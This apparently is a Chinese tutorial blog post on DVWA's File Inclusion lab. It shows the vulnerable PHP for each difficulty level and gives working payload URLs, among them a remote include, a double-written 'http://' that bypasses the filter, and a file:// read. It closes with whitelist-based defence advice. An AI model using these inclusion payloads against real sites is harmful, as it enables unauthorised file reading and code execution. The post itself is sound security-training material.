zoukankan      html  css  js  c++  java
  • DVWA-File Inclusion

    0x01 文件包含漏洞介绍

    File Inclusion,意思是文件包含(漏洞),是指服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

    文件包含漏洞通常是配合文件上传进行webshell的获取。

    文件包含漏洞利用:

    1.本地文件包含 读取敏感文件。

    2.远程文件包含 代码注入:

    当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致远程代码执行

    代码执行,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径)。从而实现任意代码执行。

    0x02 Low级别

    代码如下:
    <?php
    
    // 用户希望显示的页面
    $file = $_GET[ 'page' ];
    
    ?> 

    对Low级别的学习:读取file4.php文件

    读取方法:

    http://192.168.84.136/vulnerabilities/fi/?page=file4.php

    成功读取file4.php:

    0x03 Medium级别

    代码如下:

    <?php
    
    $file = $_GET[ 'page' ];
    
    // 对输入的进行验证,只要page=后面存在下面的http://、https://、../、..就会将其替换为空。
    $file = str_replace( array( "http://", "https://" ), "", $file );
    $file = str_replace( array( "../", ".."" ), "", $file );
    
    ?> 

    根据源代码,file4.php显然就不是我们的目标了,因为可以像Low级别一样,在Medium级别也能轻松读取file4.php,那么这里为什么会给出这样的代码呢?

    因为Low级别也有另外的做法,而Medium就是防止这种做法的,说是防止,但还是可以绕过。

    这里就说一下Low级别的另外一种做法:

    我的DVWA的ip为192.168.84.136,现在我另外弄一个虚拟机,ip为192.168.84.129,并开启web服务,在目录下写一个phpinfo的文件

    <?php
        phpinfo();
    ?>

    再在DVWA的url处构造:

    http://192.168.84.136/vulnerabilities/fi/?page=http://192.168.84.129/phpinfo.php

    访问之后,出现以下界面:

    这就是另外一种方法,当然还有其他的方法,这里就不再叙述。

    回到medium级别,其代码过滤了http://等,那么我们就在mudiem级别试一试这种方法。

    发现并没有出现phpinfo页面,这是因为,黑名单将http://过滤了,导致无法访问phpinfo.php文件。

    所以我们需要绕过str_replace函数。这个函数的作用机制是在相应字符串中查找目标字符,然后将其替换为规定的字符,但是它只会从查找一次,不会多次查找,因此双写就能够绕过这个函数了。

    构造url:

    http://192.168.84.136/vulnerabilities/fi/?page=htthttp://p://192.168.84.129/phpinfo.php

    这里的红色部分就是让str_replace函数去过滤替换的,替换为空之后,蓝色部分的就又组成了http://,而str_replace函数只会查找一次,所以蓝色部分组成的http://就不会被替换了。就达到了过滤的目的。

    0x04 High级别

    代码如下:

    <?php
    
    $file = $_GET[ 'page' ];
    
    // 验证输入。fnmatch函数这里的作用是判断$file中必须是file开头,如果不是file开头且$file不是"include.php"就会报错。
    if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
        // 报错信息返回给用户
        echo "ERROR: File not found!";
        exit;
    }
    
    ?> 

    这里的代码就是file伪协议的利用。file4.php可以被直接读取,所以忽略。

    使用http://来实验,出现以下情况:

    明确告诉我,没有找到文件。因为防御的机制问题,没有以file开头。

    file伪协议是用来访问本地文件系统的。一般用法是file://加文件的绝对路径和文件名。

    首先我们在C盘下创建一个txt文件,里面的内容为ni hao!1234,其路径为C:key.txt。

    构造url:

    http://192.168.84.136/vulnerabilities/fi/?page=file://C:key.txt

    结果为:

    0x05 Impossible级别

    代码如下:

    <?php
    
    $file = $_GET[ 'page' ];
    
    // 只允许包含include.php和file1、2、3的文件
    if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
        echo "ERROR: File not found!";
        exit;
    }
    
    ?> 

    0x06 总结

    1.防御的话应该基于白名单进行防御,确保page参数传递的只能是固定的文件名。

    2.文件包含与文件上传结合,可以直接上传图片文件,执行代码。需要注意。

  • 相关阅读:
    每日学习心得:找不到类型{0},它在 ServiceHost 指令中提供为 Service 特性值,或在配置元素...中提供,cellspacing、rowspacing属性
    我所理解的设计模式(C++实现)——解释器模式(Interpreter Pattern)
    uva-112 Tree Summing
    带你走进EJB--它都有哪些Bean
    Codeforces Round #356 (Div. 1) D. Bear and Chase 暴力
    Codeforces Round #356 (Div. 2) E. Bear and Square Grid 滑块
    《郭大侠的妹妹不可能那么可爱》 第一章 郭大侠那可爱的妹妹?
    Codeforces Round #356 (Div. 2) D. Bear and Tower of Cubes dfs
    Codeforces Round #356 (Div. 2) C. Bear and Prime 100 水题
    Codeforces Round #356 (Div. 2) B. Bear and Finding Criminal 水题
  • 原文地址:https://www.cnblogs.com/-an-/p/12371449.html
Copyright © 2011-2022 走看看